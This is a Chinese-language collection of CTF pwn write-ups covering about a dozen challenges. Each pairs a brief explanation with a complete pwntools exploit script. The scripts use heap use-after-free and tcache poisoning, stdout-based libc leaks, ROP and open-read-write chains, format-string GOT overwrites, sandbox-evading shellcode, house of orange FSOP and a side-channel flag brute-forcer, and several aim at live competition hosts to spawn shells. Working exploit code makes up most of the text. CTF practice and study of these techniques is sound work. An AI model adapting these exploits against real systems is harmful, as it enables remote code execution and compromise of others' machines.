近期一些题

ccb_veh

堆风水
2.31开沙盒禁用execve UAF,指针保留最后一次分配的堆块指针
所以我们创建2个大小不同的堆块分别实现泄露libc和栈地址,ret地址写orw 第一个堆块可以重复释放,修改低字节打stdout,半个字节1/16概率stdout泄露libc和栈地址
然后第二个堆块负责劫持ret地址,这里劫持的是退出主函数的ret 将ret地址写orw即可 (最开始打hook的时候多创建了一个堆块,删掉也可以

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./veh")
io=remote("47.104.16.93",4551)
elf=ELF("./veh")
libc=ELF("./libc-2.31.so")

def add(n):
    io.sendlineafter(b"choice:\n",b"1")
    io.sendlineafter(b"size:\n",str(n))
    
def edit(cc):
    io.sendlineafter(b"choice:\n",b"2")
    io.sendafter(b"contents:\n",cc)
    
def delete():
    io.sendlineafter(b"choice:\n",b"3")


# gdb.attach(io)
# pause()    

stdout=libc.sym[b"_IO_2_1_stdout_"]
print("stdout: ",hex(stdout))

add(0x100)
delete()

add(0x90)
add(0x90)
add(0x90)
delete()
edit(b"gap")

for i in range(3):
    add(0x150)  
    
delete()


add(0x100)
delete()
for i in range(7):
    edit(p64(0)*2)
    delete()

edit(b"\xa0\x26")

add(0x100)
add(0x100)
edit(p64(0xfbad1887)+p64(0)*3+b"\x00")

leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1ec980
print("leak_addr: "+hex(leak_addr))


malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
free_hook=leak_addr+libc.sym[b"__free_hook"]
open_a=leak_addr+libc.sym[b"open"]
read_a=leak_addr+libc.sym[b"read"]
write_a=leak_addr+libc.sym[b"write"]
environ=leak_addr+libc.sym[b"__environ"]

edit(p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8))
stack_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("stack_addr: "+hex(stack_addr))
ret_addr=stack_addr-0x100

pop_rdi=leak_addr+0x23b6a
pop_rsi=leak_addr+0x2601f
pop_rdx=leak_addr+0x142c92


#open
orw=b"./flag\x00\x00"+p64(pop_rdi)+p64(ret_addr-8)+p64(pop_rsi)+p64(0)+p64(open_a)
#read
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x300)+p64(pop_rdx)+p64(0x50)+p64(read_a)
#write
orw+=p64(pop_rdi)+p64(1)+p64(pop_rdx)+p64(0x50)+p64(write_a)


add(0x150)
delete()
for i in range(7):
    edit(p64(0)*2)
    delete()
    
    
# gdb.attach(io)
# pause()    


edit(p64(ret_addr-8))
add(0x150)
add(0x150)
edit(orw)

io.sendlineafter(b"choice:\n",b"4")
# add(0x90)
# delete()
# for i in range(3):
#     edit(p64(0)*2)
#     delete()
    
# edit(p64(malloc_hook))
# add(0x90)
# add(0x90)
# edit(p64(ret_addr+8))
# gdb.attach(io)
# pause()    



# payload=p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8)
# payload=payload.ljust(147,b"\x00")+p64(free_hook)
# edit(payload)

# add(0x100)


io.interactive()

ccb_chal

这道题赛场环境我只能hh了
本质上利用uaf改值进入game2(),然后打shellcode
开了沙盒,用openat,pread,writev绕就完了

from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./chal")
# io=remote("47.94.205.47",29706)

def add(n,s):
    io.sendlineafter(b"relax\n",b"1")
    io.sendlineafter(b"idx:\n",str(n))
    io.sendlineafter(b"much:\n",str(s))

def delete(n):
    io.sendlineafter(b"relax\n",b"2")
    io.sendlineafter(b"one:\n",str(n))

def edit(n,cc):
    io.sendlineafter(b"relax\n",b"3")
    io.sendlineafter(b"one:\n",str(n))
    io.sendafter(b"content:\n",cc)

# gdb.attach(io)
# pause()

io.recvuntil(b"is at ")
age_addr=int(io.recvuntil(b",",drop=True),16)
print("age_addr : ",hex(age_addr))

add(1,0x70)
add(0,0x70)
delete(1)
# edit(1,p64(0)*2)
delete(0)
# edit(0,p64(0)*2)

edit(0,p64(age_addr))

add(2,0x70)
add(3,0x70)
edit(3,str(0x100))

# gdb.attach(io)
# pause()

io.sendlineafter(b"relax\n",b"4")

io.recvuntil(b"me?\n")


payload = asm('mov rax, 0x67616c66; push rax; mov rdi, 0xffffff9c; mov rsi,rsp; xor rdx,rdx; mov rax,257;syscall;') #openat flag
# payload = asm('mov rax, 0x67616c66; push rax; mov rdi,rsp; xor rsi,rsi; xor rdx,rdx; mov rax,2;syscall;') #open flag
payload += asm(shellcraft.pread(3,0x10500,0x100,0))
payload += asm(shellcraft.writev(1,0x10100,1))
payload = payload.ljust(0x100,b"\x00")+flat(0x10500,0x100)

io.send(payload)

io.interactive()

blackhat_qual_profile:

整数溢出导致的任意地址写,partial relro可写got表
手动构造一个格式化字符串漏洞泄露地址最后打one_gadget
注意构造顺序和发送细节

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./profile")
# io=remote("54.78.163.105",31321)
elf=ELF("./profile")
libc=elf.libc

# gdb.attach(io)
# pause()

# exit_g=0x404068
# free_g=0x404018
exit_g=elf.plt[b"exit"]


### free to main
io.recvuntil(b"Age: ")
idx=(1<<63)-(1<<64)+0x8040401800aaaaaa
payload=str(idx)
io.sendline(payload)

io.sendlineafter(b"Name: ",b"\x8c\x13\x40")
# io.sendlineafter(b"Name: ",p64(0x40138c)[:-1])


### exit to _start
io.recvuntil(b"Age: ")
idx=(1<<63)-(1<<64)+0x8040406800aaaaaa
payload=str(idx)
io.sendline(payload)

io.sendlineafter(b"Name: ",b"\xb0\x11\x40")

### free to print
io.recvuntil(b"Age: ")
idx=(1<<63)-(1<<64)+0x8040401800aaaaaa
payload=str(idx)
io.sendline(payload)

io.sendlineafter(b"Name: ",b"\x20\x11\x40")


### leak
io.recvuntil(b"Age: ")
io.sendline(b"1")
io.sendlineafter(b"Name: ",b"%11$p")
io.recvuntil(b"0x")
leak_addr=int(io.recv(12),16)-0x29d90
print("leak_addr: ",hex(leak_addr))

sys_addr=leak_addr+libc.sym[b"system"]
shell=leak_addr+0x50a37

### free to one_gadget
io.recvuntil(b"Age: ")
idx=(1<<63)-(1<<64)+0x8040401800aaaaaa
payload=str(idx)
io.sendline(payload)

io.sendlineafter(b"Name: ",p64(sys_addr))


io.interactive()

# 0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL
#   rbp == NULL || (u16)[rbp] == NULL

# 0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

# 0xebcf5 execve("/bin/sh", r10, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xebcf8 execve("/bin/sh", rsi, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL

sunshine_flock:

套娃函数,每次退回上一层函数时判断ret地址值是否对应,得注意一下布栈
退到某一层发现了栈上已经写好了接下来的顺序
最后根据偏移将对应返回地址处改为后门函数地址getshell

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./flock")
io=remote("chal.2023.sunshinectf.games",23002)
elf=ELF("./flock")

# gdb.attach(io.pid)
# pause()

win=0x4011bd

io.recvuntil(b"At ")
stack_addr=int(io.recv(14),16)
print("stack_addr: ",hex(stack_addr))

io.recvuntil(b">>> ")
payload=p64(0x4012a0)+p64(stack_addr+0x98)
payload=payload.ljust(0x80,b"a")
payload+=p64(stack_addr+0xa0)+p64(0x401276)+p64(0x4012a0)*2
payload+=p64(stack_addr+0xc0)+p64(0x4012a0)
payload+=p64(0x402048)+p64(0x4012ca)
payload+=p64(stack_addr+0xe0)+p64(0x4012ca)
payload+=p64(0)+p64(0x4012f0)
payload+=p64(stack_addr+0xe0+0x10)+p64(0x4012f0)
payload+=p64(stack_addr+0xe0+0x20)+p64(win)


# payload+=p64(0x4012a0)
io.send(payload)

io.interactive()

balsn_babypwn2023:

此题3种解法
标准解法是栈迁移
两种非预期一种是XNUCA2018_gets爆one_gadget
另外一种是利用再次读入时读的时lock_file的IO结构体上存在地址,可以泄露
不过值得注意的是这种方式泄露出的地址会根据内核版本有所不同,因为泄露的地址不在libc上
我的WSL2的ubuntu恰好跟docker里面提供的一样,最后的偏移也一样
同样glibc patch之后的ubuntu虚拟机偏移就有所不同了,这种解法运气成份偏多

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./chall")
# io=remote("babypwn2023.balsnctf.com",10105)
elf=ELF("./chall")
libc=elf.libc
# libc=ELF("./libc.so.6")

puts_plt=elf.plt[b"puts"]
puts_got=elf.got[b"puts"]

gdb.attach(io)
pause()

payload=cyclic(0x28)+p64(elf.plt[b"gets"])+p64(elf.plt[b"puts"])+p64(elf.sym[b"main"])
io.sendline(payload)

payload=p64(0)*2+p32(0xdeadbeef)+b"\x00\x00\x00"
io.sendline(payload)

leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3b8740
print("leak_addr: ",hex(leak_addr))

pop_rdi=leak_addr+next(libc.search(asm("pop rdi; ret")))
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]

payload=cyclic(0x28)+p64(pop_rdi)+p64(str_sh)+p64(sys_addr)
io.sendline(payload)

io.interactive()

asis_2023_hipwn:

保护全开,此题最开始尝试利用ssp leak,劫持 __libc_argv[0] 打印出flag,但是glibc版本太高已经修复了这个利用
进而考虑正常leak,利用puts任意地址泄露,leak出canary和libc即可正常rop
(不知道给的任意地址写 \x00 有啥用
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./chall_p")
libc=ELF("./libc.so.6")
io=remote("45.153.243.57",1337)
# elf=ELF("./chall")

# gdb.attach(io)
# pause()

# def zr(i):
#   io.sendlineafter(b"much???\n",str(0x48+i))
#    io.sendafter(b"content\n",b"a")
#    io.recvuntil(b"?\n")
#    io.sendline(str(0x539))
# for i in range(8):
#    zr(i)
# gdb.attach(io)
# pause()

#1
io.sendlineafter(b"much???\n",str(0x300))
io.sendafter(b"content\n",b"a"*0x48+b".")
io.recvuntil(b".")
canary=u64(io.recv(7).rjust(8,b"\x00"))
print("canary: ",hex(canary))
io.recvuntil(b"?\n")
io.sendline(str(0x539))
# gdb.attach(io)
# pause()

#2
io.sendlineafter(b"much???\n",str(0x400))
io.sendafter(b"content\n",b"a"*0xf8)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-128-libc.sym[b"__libc_start_main"]

print("leak_addr: ",hex(leak_addr))
pop_rdi=leak_addr+0x2a3e5
sys_addr=leak_addr+libc.sym[b"system"]
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
ret=leak_addr+0xf8098
io.recvuntil(b"?\n")
io.sendline(str(0x539))

#3
io.sendlineafter(b"much???\n",str(0x400))
io.sendafter(b"content\n",cyclic(0x48)+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)+p64(str_sh)+p64(sys_addr))
io.recvuntil(b"?\n")
io.sendline(b"1")

io.interactive()

asis_2023_text_editor:

主函数给了3个函数, edit_text,save_text,show_error
edit_text 将用户输入存入text地址处
save_text将用户刚才输入的内容写入栈上
show_error 存在格式化字符串漏洞,可以打印距离text一段固定偏移处(0x100)的值指向的内容
可以利用 edit_textshow_error 泄露出libc和canary(后者其实没必要
之后利用格式化字符串漏洞劫持 show_error 的ret地址,one_gadget此题爆不了
可以 ret+0x8,ret+0x10,ret+0x18 写rop,最后一次劫持到ret上触发rop即可
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./chall")

io=remote("45.153.243.57",13337)
elf=ELF("./chall")
libc=ELF("./libc.so.6")

def edit(cc):
    io.sendlineafter(b"> ",b"1")
    io.sendafter(b"text: ",cc)

def save():
    io.sendlineafter(b"> ",b"2")

def exit():
    io.sendlineafter(b"> ",b"3")

def pf():
    io.sendlineafter(b"> ",b"4")
    
# gdb.attach(io)
# pause()

#leak libc_addr
payload=b"\x00"*0x100+b"\x40\x81"
edit(payload)
save()
pf()

sleep(1)


leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x21a780
print("leak_addr: ",hex(leak_addr))
pop_rdi=leak_addr+0x2a3e5
pop_rsp=leak_addr+0x35732
ret=leak_addr+0xf8098
sys_addr=leak_addr+libc.sym[b"system"]
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
environ=leak_addr+libc.sym[b"__environ"]


#leak stack_addr
payload=b"\x00"*0x100+p64(environ)
edit(payload)
save()
pf()

sleep(1)


stack_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("stack_addr: ",hex(stack_addr))
begin_addr=stack_addr-0x238
print("begin_addr: ",hex(begin_addr))
ret_addr=begin_addr+0x118
print("ret_addr: ",hex(ret_addr))
canary_addr=stack_addr-0x130
print("canary_addr: ",hex(canary_addr))


#leak canary
payload=b"\x00"*0x100+p64(canary_addr+1)
edit(payload)
save()
pf()

sleep(1)

canary=u64(io.recv(7).rjust(8,b"\x00"))
print("canary: ",hex(canary))
shell=leak_addr+0xebdb3


#fmt 1
payload=fmtstr_payload(10,{ret_addr+0x8:p64(pop_rdi)},write_size='short')
payload=payload.ljust(0x100,b"\x00")+p64(begin_addr)
edit(payload)
save()
pf()
sleep(1)

#fmt 2
payload=fmtstr_payload(10,{ret_addr+0x10:p64(str_sh)},write_size='short')
payload=payload.ljust(0x100,b"\x00")+p64(begin_addr)
edit(payload)
save()
pf()
sleep(1)

#fmt 3
payload=fmtstr_payload(10,{ret_addr+0x18:p64(sys_addr)},write_size='short')
payload=payload.ljust(0x100,b"\x00")+p64(begin_addr)
edit(payload)
save()
pf()
sleep(1)

#fmt 4
payload=fmtstr_payload(10,{ret_addr:p64(ret)},write_size='short')
payload=payload.ljust(0x100,b"\x00")+p64(begin_addr)
edit(payload)
save()
pf()

exit()

io.interactive()
# 0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# rbp == NULL || (u16)[rbp] == NULL
# 0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
# 0xebcf5 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL
# 0xebcf8 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
# 0xebd52 execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# [rbp-0x50] == NULL || rbp-0x50 == NULL
# [r12] == NULL || r12 == NULL
# 0xebdaf execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x48 is writable
# [rbp-0x50] == NULL || rbp-0x50 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
# 0xebdb3 execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x50 is writable
# [rbp-0x50] == NULL || rbp-0x50 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xGame_2023_lenlim-shellcode-ora

侧信道爆破flag

from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwn")
# elf=ELF("./pwn")


read_shellcode=asm('''
    mov edi,0
    push 0x2023000d
    pop rsi
    syscall              
''')


def exp(dis,char):
    shellcode = asm('''
            push   0x67616c66
            push   0x2
            pop    rax
            mov    rdi,rsp
            xor    rsi,rsi
            syscall 

            mov    rdi,rax
            xor    rax,rax
            mov    rsi,0x20230300
            push   0x50
            pop    rdx
            syscall 
            
            mov dl, byte ptr [rsi+{}]
            mov cl, {}
            cmp cl,dl
            jz loop
            mov al,60
            syscall
            loop:
            jmp loop
            '''.format(dis,char))
    io.send(shellcode)
flag = "0xGame{N0_SHELLCODE_NEXT_TIME_PLZ"

for i in range(len(flag),50):
    sleep(1)
    log.success("flag : {}".format(flag))
    for j in range(0x20,0x80):
        # io = process('./pwn')
        io=remote("8.130.35.16",54000)
        try:
            payload=read_shellcode
            io.sendafter(b"code:\n",payload)
            io.recvuntil(b"machanism...\n")
            exp(i,j)
            io.recvline(timeout=1)
            flag += chr(j)
            io.send('\n')
            log.success("{} pos : {} success".format(i,chr(j)))
            io.close()
            break
        except:           
            io.close()


# io.interactive()

newstar2023_week5_no_output:

淀粉极客linkmap弱化版,linkmap那道得自己找gadget,这道题直接把libc地址写bss段上了,直接partial write改write,提前布置好寄存器顺带栈迁移过去泄露就可以了

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwn")
io=remote("node4.buuoj.cn",27515)
elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")

pop_rdi=0x401253
pop_rsi_r15=0x401251
pop_rbp=0x40112d
a_addr=0x404050
bss_addr=0x404800
read_text=0x4011c1
read_plt=elf.plt[b"read"]
leave_ret=0x4011ea


# gdb.attach(io)
# pause()

payload=b"\x00"*0x70+p64(a_addr+0x50)+p64(pop_rsi_r15)+p64(a_addr+8)*2+p64(read_plt)
io.send(payload)

sleep(0.5)

payload=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss_addr+0x400)*2+p64(read_plt)+p64(pop_rbp)+p64(bss_addr+0x400-0x8)+p64(leave_ret)
io.send(payload)

sleep(0.5)

payload=b"\x00"*0x70+p64(a_addr+0x50)+p64(pop_rsi_r15)+p64(a_addr)*2+p64(read_plt)+p64(pop_rsi_r15)+p64(elf.got[b"read"])*2+p64(pop_rdi)+p64(1)+p64(pop_rbp)+p64(0x404050-0x8)+p64(leave_ret)
io.send(payload)

# gdb.attach(io)
# pause()

io.send(b"\x60\x30")

leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"read"]
print("leak_addr: ",hex(leak_addr))

str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]

payload=p64(pop_rdi)+p64(str_sh)+p64(sys_addr)
io.send(payload)



io.interactive()

# Gadgets information
# ============================================================
# 0x00000000004011ea : leave ; ret
# 0x000000000040124c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040124e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401250 : pop r14 ; pop r15 ; ret
# 0x0000000000401252 : pop r15 ; ret
# 0x000000000040124b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040124f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040112d : pop rbp ; ret
# 0x0000000000401253 : pop rdi ; ret
# 0x0000000000401251 : pop rsi ; pop r15 ; ret
# 0x000000000040124d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret

newstar_week5_planet:

这道题有可以任意命令执行的后门函数,但是我们需要绕过验证才能进入
这里我们直接把验证里面生成随机字符串所引用的那一串ascii字符表全部覆盖为1即可
本来week5还有一道pin码侧信道的,就是今年国赛lojin的弱化版,网上一搜就有脚本的,那个8位这个只有6位,但是网络环境挺抽象的,难绷,不放了

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwn")
io=remote("node4.buuoj.cn",25518)
elf=ELF("./pwn")

def Jump():
    io.sendlineafter(b"\n>",b"Jump")
    
def GetName():
    io.sendlineafter(b"\n>",b"GetName")
    
def Rename(cc):
    io.sendlineafter(b"\n>",b"Rename")
    io.sendlineafter(b"name\n",cc)
    
def GoBack(cc):
    io.sendlineafter(b"\n>",b"GoBack")
    io.sendline(cc)
    
def Check():
    io.sendlineafter(b"\n>",b"Check")
    
def Search():
    io.sendlineafter(b"\n>",b"Search")
    
def Nap():
    io.sendlineafter(b"\n>",b"Nap")
    
def Admin(cc):
    io.sendlineafter(b"\n>",b"Admin")
    io.sendlineafter(b"passwd\n> ",cc)
    

psss=b"secret_passwd_anti_bad_guys"


# gdb.attach(io)
# pause()

io.sendlineafter(b"Passwd: ",psss)

Nap()
# for i in range(11):
#     Nap()
#     Jump()

GetName()
Rename(b"a"*0x10)
GetName()

io.recvuntil(b"a"*0x10)
abcd_addr=u64(io.recv(6).ljust(8,b"\x00"))+0x10
print("abcd_addr: ",hex(abcd_addr))    


sleep(1)
GetName()
Rename(b"b"*0x18+p64(abcd_addr))
Jump()
GetName()
Rename(b"1"*0x21)

Admin(b"1"*0x1e)


io.sendlineafter(b"exec\n> ",b"cat flag")

io.interactive()

axb_ezheap:

当时直接跳过house of orange去看house of apple...
此题GLIBC 2.23 11.03,house of orange的模板题
题目最开始给出堆地址
通过1次add之后的堆溢出写修改top chunk,需要注意内存页对齐,prev_inuse=1
再add一次大的申请出修改过后的old top chunk进入unsorted bin
再通过add申请到unsorted bin以此泄露libc
之后伪造IO_FILE结构体,2.23可以对vtable无检查,vtable伪造到可控堆地址即可
然后保证伪造到的地址+0x18处也可控,即vtable[3]可控,此处是__overflow,修改为system地址
修改unsorted bin bk为_IO_list_all-0x10,后面unsorted bin attack后再分配一个堆块,利用_chain标志位,此标志位正好位于_IO_FILE结构体0x60处,指向下一个文件流,溢出写unsorted bin size为0x61, 属于 smallbin,这个大小的 smallbin 相对 unsorted bin 的偏移,与 _chain 相对 _IO_list_all 的偏移是一样的,使得_IO_list_all指向unsorted bin
而修改后的unsorted bin再次malloc时会报错,路径如下
malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp
_IO_flush_all_lockp遍历文件流,报错处理 _chain 指向的下一个文件流,所以利用unsorted bin伪造IO_FILE结构体
exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])

io=process("./pwn")
# io=remote("node4.anna.nssctf.cn",28437)
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")

def add(s,cc):
    io.sendlineafter("choice : ","1")
    io.sendlineafter("it\n",str(s))
    io.sendafter(b"Name?\n",cc)

def edit(s,cc):
    io.sendlineafter("choice : ","2")
    io.sendlineafter("it\n",str(s))
    io.sendafter(b"name\n",cc)

def show():
    io.sendlineafter("choice : ","3")
    
# gdb.attach(io.pid)
# pause()

heap_addr=int(io.recvline(),16)-0x10
print("heap_addr:",hex(heap_addr))

add(0x68,b"a")
edit(0x6f,b"\x00"*0x68+b"\x71\x0f\x00")

add(0xf70,b"a")

add(0x80,b"a"*8)
show()
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3c5188
print("leak_addr:",hex(leak_addr))

_IO_list_all=leak_addr+libc.sym[b"_IO_list_all"]
sys_addr=leak_addr+libc.sym[b"system"]
fake_vtable=heap_addr+0x268


add(0x68,b"asd")

padding=b"a"*0x60

fakefile=b"/bin/sh\x00"+p64(0x61) #_flags -> /bin/sh
fakefile+=p64(0)+p64(_IO_list_all-0x10) #bk-> _IO_list_all-0x10
fakefile+=p64(0)+p64(1)
fakefile=fakefile.ljust(0xc0,b"\x00")
fakefile+=p64(0)*3
fakefile+=p64(fake_vtable)+p64(0)*2+p64(sys_addr) # fake_vtable+0x18 (vtable[3]) -> &sys_addr

padding+=fakefile

edit(len(padding),padding)

io.sendlineafter("choice : ","1")

gdb.attach(io.pid)
pause()

io.sendlineafter("it\n",b"1") #local

# io.sendlineafter("it\n",str(0x100)) #remote

# io.sendline(b"cat flag")

io.interactive()

YukkuriSay

循环内输入泄露栈地址和libc
最后一次循环内布置跳板
循环外有一次格式化字符串的机会,可以利用刚才我们布置的跳板修改printf的got表为sys_addr以及修改ret_addr再一次输入/bin/sh\x00getshell

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./vuln")
io=remote("node5.anna.nssctf.cn",28513)
elf=ELF("./vuln")
libc=elf.libc


io.sendafter(b"say?\n",cyclic(0x98))

leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"_IO_2_1_stderr_"]
print("leak_addr: ",hex(leak_addr))

pop_rdi=leak_addr+0x23b6a 
pop_rsi=leak_addr+0x2601f
pop_rdx=leak_addr+0x142c92
ret=leak_addr+0x142c92
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]
shell=leak_addr+0xe3b01

io.sendlineafter(b"/n)\n",b"y")
io.send(b"b"*0xff+b".")

io.recvuntil(b".")
stack_addr=u64(io.recv(6).ljust(8,b"\x00"))
ret_addr=stack_addr-0x8
print("stack_addr: ",hex(stack_addr))

io.sendlineafter(b"/n)\n",b"y")
payload=p64(elf.got[b"printf"])
payload+=p64(ret_addr)
payload+=p64(ret_addr+1)
payload+=p64(elf.got[b"printf"]+1)
payload+=p64(elf.got[b"printf"]+2)

io.send(payload)

s1=sys_addr&0xff
s2=(sys_addr>>8)&0xff
s3=(sys_addr>>16)&0xff
gift1=0x401678&0xff
gift2=(0x401678>>8)&0xff

# gdb.attach(io)
# pause()

io.sendlineafter(b"/n)\n",b"n")

payload="%{}c%{}$hhn".format(s1,8) #布置跳板在栈上偏移为8
payload+="%{}c%{}$hhn".format(0x100+gift1-s1,9) #防止被减数小于减数的情况发生
payload+="%{}c%{}$hhn".format(0x100+gift2-gift1,10)
payload+="%{}c%{}$hhn".format(0x100+s2-gift2,11)
payload+="%{}c%{}$hhn".format(0x100+s3-s2,12)
io.sendafter(b": \n",payload)

sleep(1)

io.send(b"/bin/sh\x00")


io.interactive()

# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [r12] == NULL || r12 == NULL

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL

西湖论剑_babycalc:

没有溢出
z3解方程,将解出的值放入对应位置即可
首先存在rbp存在一个off_by_one,可以改写rbp低1字节,使得rbp可以指向我们可控栈区(概率)

其次存在一个var_38[idx]=iVar1idx为我们可控字段,即循环的i值,iVar1也可控,我们最开始输入的16进制值通过strtol转化为iVar1
可以写一字节使ret低一字节为0x18使得其变为leave; ret

在可控栈区我们可以放入大量ret充当sled,然后放入rop链,最后就可以栈迁移到我们的可控栈区执行rop链

第一次我们泄露libc,第二次就可以getshell

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=remote("node4.anna.nssctf.cn",28769)
# io=process("./babycalc")
elf=ELF("./babycalc")
libc=elf.libc

bss_addr=0x6024E0
pop_rdi=0x400ca3
ret=0x4005b9
start=0x400650

payload1=str(0x18).encode().ljust(8,b"\x00")+p64(ret)*21+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(start)
#   0x18 to change rbp+0x8 low 1 byte
payload2=p8(0x13)+p8(0x24)+p8(0x35)+p8(0x46)+p8(55)+p8(66)+p8(17)+p8(161)+p8(50)+p8(131)+p8(212)+p8(101)+p8(118)+p8(199)+p8(24)+p8(3)
payload=payload1+payload2

payload=payload.ljust(0xfc,b"a")+p32(0x38)
#   payload 0x100-> rbp low 1 byte -> \x00 -> point to stack
#   var_38[0x39] -> rbp+0x1 -> change nop to leave

io.sendafter(b":",payload)

leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"puts"]
print("leak_addr: ",hex(leak_addr))

sys_addr=leak_addr+libc.sym[b"system"]
str_sh=leak_addr+next(libc.search(b"/bin/sh"))


################


# gdb.attach(io)
# pause()

payload1=str(0x18).encode().ljust(8,b"\x00")+p64(ret)*21+p64(pop_rdi)+p64(str_sh)+p64(sys_addr)
payload1=payload1.ljust(0xd0,b"a")
#   0x18 to change rbp+0x8 low 1 byte
payload2=p8(0x13)+p8(0x24)+p8(0x35)+p8(0x46)+p8(55)+p8(66)+p8(17)+p8(161)+p8(50)+p8(131)+p8(212)+p8(101)+p8(118)+p8(199)+p8(24)+p8(3)
payload=payload1+payload2

payload=payload.ljust(0xfc,b"a")+p32(0x38)

io.sendafter(b":",payload)

io.interactive()

# Gadgets information
# ============================================================
# 0x0000000000400c9c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c9e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400ca0 : pop r14 ; pop r15 ; ret
# 0x0000000000400ca2 : pop r15 ; ret
# 0x0000000000400c9b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c9f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x00000000004006b0 : pop rbp ; ret
# 0x0000000000400ca3 : pop rdi ; ret
# 0x0000000000400ca1 : pop rsi ; pop r15 ; ret
# 0x0000000000400c9d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004005b9 : ret

pcb2023_silent

Full Relro,只给了个read,人太蠢了找不到magic gadget,只有暴力
这里我劫持栈上的残留的一块libc中地址,找的gadget在libc偏移为0x110130
大概率事件是爆3位,1/163=1/40961/16^3=1/4096
